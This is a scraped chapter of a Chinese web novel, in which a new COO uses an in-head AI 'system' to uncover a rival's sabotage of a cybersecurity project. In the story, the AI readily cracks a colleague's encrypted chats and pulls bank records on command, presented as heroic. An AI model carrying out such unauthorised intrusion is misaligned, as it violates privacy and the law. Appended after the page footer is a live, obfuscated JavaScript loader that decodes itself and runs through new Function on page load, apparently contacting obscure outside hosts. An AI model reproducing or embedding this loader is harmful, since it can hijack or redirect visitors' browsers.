首页
[切换至繁体版]
返回

第75章 系统预警!前COO的最后反扑

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第75章系统预警!前COO的最后反扑(第1/2页)
    1
    周六早晨七点,阳光透过薄纱窗帘,在木地板上切出温暖的光斑。
    林辰难得睡到自然醒。睁开眼时,苏雨晴已经起床了,枕边还残留着她洗发水的淡淡香味。卧室外传来隐约的说话声和碗筷碰撞声——父母在准备早饭,小花在看动画片,小宝应该在写周末作业。
    很平常的周末早晨。
    但林辰躺在那里,没动。他盯着天花板,脑子里在过昨天下午的会。
    星河科技Q2季度经营分析会,他作为COO第一次主持。数据很漂亮:用户增长环比提升220%,营收增长150%,毛利率从32%提到41%。会议室里坐满了人,李铭坐在他右手边,全程没怎么说话,但眼神里的赞赏藏不住。
    会开到一半,前COO王振东——现在挂了个“战略顾问”的虚衔——突然发难。
    “林总,数据确实好看,”王振东五十出头,头发梳得一丝不苟,脸上挂着标准的管理层笑容,“但我想问个问题。咱们‘天盾’网络安全项目,研发投入比预算超了40%,进度还延迟了两周。这个……林总接手后,好像没见改善?”
    会议室瞬间安静。
    所有人的目光都聚焦过来。
    “天盾”是星河今年的重点项目,研发预算三千万,要做企业级网络安全防护系统。林辰接手时,这个项目已经烂尾了——核心算法有重大漏洞,团队内耗严重,项目经理上个月刚离职。
    他用了一个月时间重组团队,用系统给的优化方案重构架构,进度已经追回来大半。但超支是事实,延迟也是事实。
    “王总说得对,”林辰当时很平静,“‘天盾’项目确实遇到了困难。我接手后做了三件事:第一,重组技术团队,从算法组调了两个人过去;第二,调整技术路线,放弃了原先那条走不通的路径;第三,重新评估预算,超支部分主要用在人员激励和紧急采购上。具体报告我已经发到各位邮箱了。”
    “报告我看了,”王振东不依不饶,“但林总,超支就是超支,延迟就是延迟。按公司规定,项目负责人是要担责的。您这刚上任,就……”
    “就什么?”林辰抬眼看他。
    王振东顿住,笑容有点僵:“我没别的意思,就是提醒一下,别光看增长数据,项目管控也很重要。”
    “谢谢王总提醒。”林辰点头,“‘天盾’项目确实是我管控不到位。这样,我立个军令状:下周五之前,如果项目关键里程碑还没达成,我自愿接受任何处分。”
    会议室里响起低低的吸气声。
    军令状。一周时间。
    李铭终于开口:“林辰,有把握吗?”
    “有。”林辰说。
    “好。”李铭扫视全场,“那这事就定了。散会。”
    散会后,王振东走过来,拍拍他肩膀:“林总,别怪我说话直。我也是为公司好。”
    “理解。”林辰笑笑。
    两人对视。王振东眼神深处有什么东西一闪而过,像是得意,又像是算计。
    林辰当时没多想。但现在躺在床上回忆,总觉得那眼神不对劲。
    “系统,”他在脑海里唤了一声,“调出昨天会议的全场监控录像,分析王振东的微表情和行为轨迹。”
    深蓝色界面展开。
    【调取中……】
    【会议室3号摄像头,14:30-15:45时段。】
    【开始分析:目标人物王振东。】
    画面在眼前播放。系统用红线标注出王振东的视线焦点、手势变化、坐姿调整,旁边是实时分析数据:
    【14:32王振东左手无意识摩挲茶杯,心率预估上升15%——紧张/期待】
    【14:40当林辰展示增长数据时,王振东嘴角向下微压0.3秒——不满/嫉妒】
    【14:55提问“天盾”项目时,瞳孔轻微放大,右手拇指掐食指指节——攻击性姿态】
    【15:10林辰立军令状后,王振东有短暂0.5秒的屏息,随后呼吸频率加快——惊讶/兴奋】
    【15:20散会后走向林辰时,肩膀前倾角度比平时大7度——伪装友好姿态】
    【综合评估:王振东在会议中的行为模式,符合“蓄意发难-获取承诺-后续设局”的三段式攻击。建议宿主提高警惕。】
    设局?
    林辰坐起身。阳光照在他脸上,暖洋洋的,但他心里有点发冷。
    “天盾”项目他已经用系统优化过,核心算法漏洞修复了,团队也稳定了,按进度下周肯定能完成关键里程碑。王振东能设什么局?
    “系统,”他问,“扫描‘天盾’项目所有相关文件、代码库、沟通记录,排查潜在风险点。”
    【扫描中……】
    【范围:项目文档237份,代码提交记录684条,邮件往来892封,会议纪要56份。】
    【预计耗时:8分32秒。】
    林辰下床,走到窗边。楼下小区花园里,几个老人在打太极,孩子们在玩滑梯。很平静的周末景象。
    但他心里那根弦,慢慢绷紧了。
    手机震了一下。是工作微信,技术总监刘磊发来的:“林总,抱歉周末打扰。‘天盾’项目出问题了。”
    林辰心里一沉。他拨过去,刘磊秒接。
    “林总,”刘磊声音很急,“出大事了。昨晚凌晨三点,项目代码库被人恶意提交了错误代码,把核心加密模块搞崩了。今早测试组一跑,全挂了。”
    “什么代码?”
    “一段伪装成优化补丁的恶意脚本,混在正常的代码提交里。提交人是……是陈飞。”
    陈飞是“天盾”项目的主程,林辰重组团队时特意从算法组挖过来的,技术很强,人也靠谱。
    “陈飞人呢?”
    “联系不上。手机关机,家里没人。他老婆说昨晚加班没回家,以为在公司。”
    “监控查了吗?”
    “查了。昨晚十一点四十,陈飞刷卡进公司。凌晨两点十分离开。中间两个半小时,他工位的监控……被临时关闭了。”
    林辰闭上眼睛。
    来了。
    王振东的局,来了。
    “损失多大?”
    “核心加密模块全废了。如果要修复,得从头写,至少两周。但关键是……”刘磊声音发干,“下周三我们要给第一个客户做演示。如果演示失败,客户会撤单。这个客户是李总亲自谈的,国企背景,很重要。”
    下周三。四天后。
    而他昨天在会上立的军令状,是下周五。
    时间卡得真准。
    “林总,”刘磊小心翼翼地问,“现在怎么办?要报警吗?”
    报警?报什么警?说公司内部有人搞破坏?证据呢?代码是陈飞提交的,监控是他自己关的,人现在失踪了。怎么看都像是主程携私报复,或者干脆就是陈飞自己出了重大失误,畏罪潜逃。
    “先别报警。”林辰说,“你带人去公司,把代码库锁了,备份恢复到最后一次正常提交。然后检查所有相关系统的日志,看有没有其他异常。我马上到。”
    “明白。”
    挂了电话,林辰站在窗前,看着外面阳光灿烂的周末早晨。
    王振东。
    真是好手段。
    先用会议发难,逼他立军令状。然后找人破坏项目,让他无法按时交付。到时候,他要么自己担下责任,引咎辞职;要么追查到底,但陈飞失踪,死无对证,查也查不出什么。
    无论哪种,他这COO都当不下去了。
    “系统,”他声音很平静,“扫描结果出来了吗?”
    【扫描完成。】
    【发现异常点:】
    【1.项目代码库中,存在三个隐蔽的后门程序,植入时间为两周前。后门可被远程触发,导致核心模块崩溃。】
    【2.陈飞个人电脑的近期访问记录显示,曾多次登录一个境外加密聊天软件。最后一次登录为昨晚23:15。】
    【3.王振东助理于三天前,通过私人账户向一个海外虚拟币钱包转账50万人民币。该钱包地址与陈飞登录的聊天软件账户有关联。】
    【4.监控系统日志被人为修改,但原始数据在备份服务器中仍有留存。可恢复。】
    林辰看着那些分析结果,嘴角慢慢勾起。
    很好。
    有证据就好。
    “系统,做三件事。”他说,“第一,恢复监控原始数据,找出昨晚陈飞工位到底发生了什么。第二,追踪那五十万的资金流向,拿到银行流水。第三,破解那个加密聊天软件,拿到聊天记录。”
    【收到。】
    【任务1:预计耗时25分钟。】
    【任务2:预计耗时40分钟(需模拟银行风控审批流程)。】
    【任务3:预计耗时2小时(该软件采用256位加密)。】
    “尽快。”
    林辰转身,开始换衣服。衣柜里是苏雨晴帮他熨好的衬衫,浅蓝色,领口挺括。他一颗颗扣上扣子,动作不紧不慢。
    镜子里的男人,三十五岁,眼角有细纹,鬓角有几根白发。但眼神很静,像深潭。
    一个月前,他被天启裁员,站在天台边想跳下去。
    现在,他是星河科技COO,有人要搞他,想把他从这位置上拉下来。
    凭什么?
    凭他年轻?凭他资历浅?凭他“空降”?
    那就试试。
    看谁把谁拉下来。
    2
    上午八点四十,星河科技办公区。
    周末加班的人不多,技术部这边只有“天盾”项目组的十几个人在。气氛凝重,没人说话,只有键盘敲击声和偶尔的叹气声。
    刘磊看到林辰,赶紧迎上来:“林总。”
    “情况怎么样?”
    “代码备份恢复了,但加密模块确实废了。重写的话,两周是最乐观估计。”刘磊脸色难看,“而且……而且客户那边刚来消息,说他们领导下周要出差,演示提前到周二上午。也就是,只剩三天。”
    三天。
    从重写一个企业级安全系统的核心加密模块,到测试,到集成,到准备演示。
    天方夜谭。
    但林辰表情没变:“陈飞有消息吗?”
    “没有。他老婆都快急疯了,说再联系不上就报警。”
    “先别报。”林辰说,“你让项目组的人,该干嘛干嘛。加密模块的事,我来解决。”
    刘磊愣住:“您解决?林总,那是三十万行代码的模块,陈飞带了五个人写了三个月才……”
    “我知道。”林辰拍拍他肩膀,“去忙吧。对了,王总今天来公司了吗?”
    “王总?”刘磊想了想,“应该没来。周末他一般不来。”
    “好。你去忙。”
    打发走刘磊,林辰走进自己的办公室。关上门,拉上百叶窗。
    “系统,”他在脑海里说,“调出加密模块的原代码,以及崩溃时的错误日志。”
    深蓝色界面展开,两屏代码并排显示。
    左边是原模块,结构清晰,但林辰一眼就看出问题——架构太老了,用的是三年前的安全标准,现在早被破解了。难怪陈飞要重写。
    右边是错误日志。系统已经用红框标出了崩溃点:一段伪装成内存优化函数的恶意代码,触发后会覆盖加密密钥池,导致所有加密解密操作失效。
    “修复这个模块,用当前最高安全标准重构,要多久?”林辰问。
    【分析中……】
    【模块复杂度:A级】
    【重写工作量:约8.5万人/时(按高级工程师标准)】
    【系统辅助重构,预计耗时:3小时12分钟。】
    【但需注意:新模块需要硬件加密卡支持,公司现有设备不兼容,需采购。采购+部署时间:至少5个工作日。】
    硬件加密卡。
    林辰皱眉。这是个死结。没有硬件卡,软件加密强度上不去,达不到客户要求。但采购要走流程,五天肯定来不及。
    “有没有替代方案?”
    【有。使用国产自主可控的软件加密方案,通过多层嵌套和动态密钥提升安全性。理论强度可达硬件卡的92%,但运算开销增加35%。】
    “客户能接受吗?”
    【需评估。但该方案有一个优势:可展示“国产自主可控”概念,符合当前政策导向。】
    国产自主可控。
    林辰心里一动。这确实是个卖点。客户是国企,对这方面应该很看重。
    “就用这个方案。现在开始重构。”
    【收到。开始重构加密模块……】
    界面中央出现一个进度条,开始缓慢前进。
    林辰看了眼时间:上午九点零七分。
    三小时十二分钟,也就是中午十二
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();